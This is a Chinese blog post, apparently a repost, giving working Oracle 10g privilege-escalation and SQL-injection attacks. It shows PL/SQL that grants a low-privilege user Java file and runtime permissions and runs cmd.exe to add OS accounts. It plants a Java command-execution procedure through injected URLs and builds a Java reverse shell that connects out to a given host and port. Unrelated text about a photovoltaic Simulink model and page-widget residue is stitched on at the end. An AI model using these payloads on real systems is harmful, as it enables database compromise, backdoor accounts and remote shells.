Oracle提权

 

 create user xiaozi identified by xiaozi;
 grant create session to xiaozi;


10g 低权限提升
C:\Documents and Settings\Administrator>sqlplus xiaozi/xiaozi@orcl

SQL*Plus: Release 10.2.0.1.0 - Production on 星期三 11月 2 00:30:37 2016

Copyright (c) 1982, 2005, Oracle.  All rights reserved.


连接到:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options

  SQL> select * from session_privs;

    PRIVILEGE
    ----------------------------------------
    CREATE SESSION


SQL>
SQL> DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT','xiaozi','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / PL/SQL 过程已成功完成。 SQL> SQL> DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT','xiaozi','SYS','java.lang.RuntimePermission','w riteFileDescriptor',NULL,'ENABLED' FROM DUAL; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / PL/SQL 过程已成功完成。 SQL> SQL> DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT','xiaozi','SYS','java.lang.RuntimePermission','r eadFileDescriptor',NULL,'ENABLED' FROM DUAL; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / PL/SQL 过程已成功完成。 SQL> SQL> SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\wind ows\\system32\\cmd.exe', '/c', 'dir>c:\\10gOUT.LST') FROM DUAL; DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','C:\\WINDOWS\\SYSTEM3 -------------------------------------------------------------------------------- SQL> SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\wind ows\\system32\\cmd.exe','/c','net user abc abc /add') FROM DUAL; DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','C:\\WINDOWS\\SYSTEM3 --------------------------------------------------------------------------------

 

Oracle 10g web注入技巧

create or replace and resolve java source named JAVACMD as  
import java.lang.*;  
import java.io.*;  
public class JAVACMD  
{  
public static void execmd(String command) throws IOException  
{  
Runtime.getRuntime().exec(command);  
}  
}

create or replace procedure MYJAVACMD(command in varchar) as language java  
name 'JAVACMD.execmd(java.lang.String)';

exec MYJAVACMD('net user');


web: http://192.168.91.106/test.jsp?id=123  and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace and resolve java source named JAVACMD as import java.lang.*;import java.io.*;public  
class JAVACMD{public static void execmd(String command) throws IOException{Runtime.getRuntime().exec(command);}} ''; commit;  
end;') from dual) is not null


web: http://192.168.91.106/test.jsp?id=123  and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace procedure MYJAVACMD(command in varchar) as language java name  
''''JAVACMD.execmd(java.lang.String)''''; ''; commit;end;') from dual) is not null

web :http://192.168.91.106/test.jsp?id=123  and (select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')  
;commit;end;') from dual) is not null




 
 create or replace and compile java source named javasocket as  
import java.net.*;  
import java.io.*;  
import java.lang.*;

public class javasocket  
{  
public static void test(String addr,String str_port)  
{  
Socket socket;  
String len;  
String s;  
InputStream Is;  
OutputStream Os;  
DataInputStream DIS;  
PrintStream PS;

        try{ 
            socket=new Socket(addr,Integer.parseInt(str_port)); 
            Is=socket.getInputStream(); 
            Os=socket.getOutputStream(); 
            DIS=new DataInputStream(Is); 
            PS=new PrintStream(Os); 

            while(true){ 
                s=DIS.readLine();
                if(s.trim().equals("BYE"))break;

                try{
                    Runtime rt = Runtime.getRuntime();
                    Process p = null;
                    p = rt.exec(s);
                    s = null;
                    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    String msg = null;
                    while((msg = br.readLine())!=null){
                            msg += "\n";   
                            s += msg;
                    }
                    br.close();
                 }
                catch(Exception e)
                { 
                    s = "Please check your command!";
                } 

                PS.println(s);
           } 

            DIS.close();
            PS.close(); 
            Is.close(); 
            Os.close(); 
            socket.close();  
        } 
        catch(Exception e)
        { 
            System.out.println("Error:"+e); 
        } 
    } 


}

create or replace procedure myjavasocket(address in varchar,port in varchar) as language java  
name 'javasocket.test(java.lang.String,java.lang.String)';  

exec myjavasocket('192.168.106.137','9999');
 
SQL> drop java source javasocket;

Java 已删除。

SQL> drop procedure myjavasocket;

过程已删除。


http://192.168.106.137:8080/test1.jsp?id=7782 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and compile java source named javasocket as import java.net.*; import java.io.*;import java.lang.*;public class javasocket{public static void test(String addr,String str_port){Socket socket;String len;String s;InputStream Is;OutputStream Os;DataInputStream DIS;PrintStream PS;try{socket=new Socket(addr,Integer.parseInt(str_port));Is=socket.getInputStream();
Os=socket.getOutputStream();DIS=new DataInputStream(Is);PS=new PrintStream(Os);while(true){s=DIS.readLine();if(s.trim().equals("BYE"))break;try{Runtime rt =Runtime.getRuntime();Process p = null; p = rt.exec(s); s = null;BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String msg = null;while((msg = br.readLine())!=null){ msg += "\n"; s += msg;}br.close();}catch(Exception e){s = "Please check your command!";}PS.println(s);} DIS.close(); PS.close(); Is.close(); Os.close(); socket.close();} catch(Exception e){System.out.println(e);}}}''; commit;  end;') from dual) is not null--

http://192.168.106.137:8080/test1.jsp?id=7782  and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace procedure myjavasocket(address in varchar,port in varchar) as language java  name ''''javasocket.test(java.lang.String,java.lang.String)'''';''; commit;end;') from dual) is not null--


http://192.168.106.137:8080/test1.jsp?id=7782 and (select dbms_xmlquery.newcontext('begin myjavasocket(''192.168.106.137'',''9999'');commit;end;') from dual) is not null--

数字型和字符型,在于一个双引号的区别

http://192.168.106.137:8080/test1.jsp?id=7782' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and compile java source named javasocket as import java.net.*; import java.io.*;import java.lang.*;public class javasocket{public static void test(String addr,String str_port){Socket socket;String len;String s;InputStream Is;OutputStream Os;DataInputStream DIS;PrintStream PS;try{socket=new Socket(addr,Integer.parseInt(str_port));Is=socket.getInputStream();
Os=socket.getOutputStream();DIS=new DataInputStream(Is);PS=new PrintStream(Os);while(true){s=DIS.readLine();if(s.trim().equals(null))break;try{Runtime rt =Runtime.getRuntime();Process p = null; p = rt.exec(s); s = null;BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String msg = null;while((msg = br.readLine())!=null){ msg += null; s += msg;}br.close();}catch(Exception e){s = null;}PS.println(s);} DIS.close(); PS.close(); Is.close(); Os.close(); socket.close();} catch(Exception e){System.out.println(e);}}}''; commit;  end;') from dual) is not null--


http://192.168.106.137:8080/test1.jsp?id=7782'  and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace procedure myjavasocket(address in varchar,port in varchar) as language java  name ''''javasocket.test(java.lang.String,java.lang.String)'''';''; commit;end;') from dual) is not null--

http://192.168.106.137:8080/test1.jsp?id=7782' and (select dbms_xmlquery.newcontext('begin myjavasocket(''192.168.106.137'',''9999'');commit;end;') from dual) is not null--

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

参考文章:

http://psoug.org/articles/Hacking-Aurora-in-Oracle-11g.htm/

http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=B1A4B602FC83805EDBD9A0D0FA4E8D87?doi=10.1.1.210.3862&rep=rep1&type=pdf

https://www.notsosecure.com/hacking-oracle-11g/

http://www.tuicool.com/articles/QFvAFr

 

转载于:https://www.cnblogs.com/xiaozi/p/6019651.html

光伏储能虚拟同步发电机VSG并网仿真模型(Similink仿真实现)内容概要:本文档介绍了光伏储能虚拟同步发电机(VSG)并网仿真模型的Simulink实现方法,重点在于通过建立光伏储能系统与虚拟同步发电机相结合的仿真模型,模拟其在并网过程中的动态响应与控制特性。该模型借鉴了同步发电机的惯性和阻尼特性,升了新能源并网系统的频率和电压支撑能力,增强了系统的稳定性与可控性。文档还及相关电力系统仿真技术的应用,包括逆变器控制、储能配置、并网稳定性分析等,并供了完整的Simulink仿真文件及技术支持资源链接,便于科研人员复现与二次开发。; 适合人群:电气工程、自动化、能源系统等相关专业的研究生、科研人员及从事新能源并网技术开发的工程师。; 使用场景及目标:①用于研究光伏储能系统在弱电网条件下的并网稳定性问题;②掌握虚拟同步发电机(VSG)控制策略的设计与仿真方法;③支持高水平论文(如EI/SCI)的模型复现与创新研究;④为微电网、智能电网中的分布式能源接入供技术参考。; 阅读建议:建议结合供的Simulink模型文件与文档说明逐步操作,重点关注VSG控制模块的参数设置与动态响应分析,同时可延伸学习文中及的MPPT、储能管理、谐波分析等相关技术,以升综合仿真能力。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值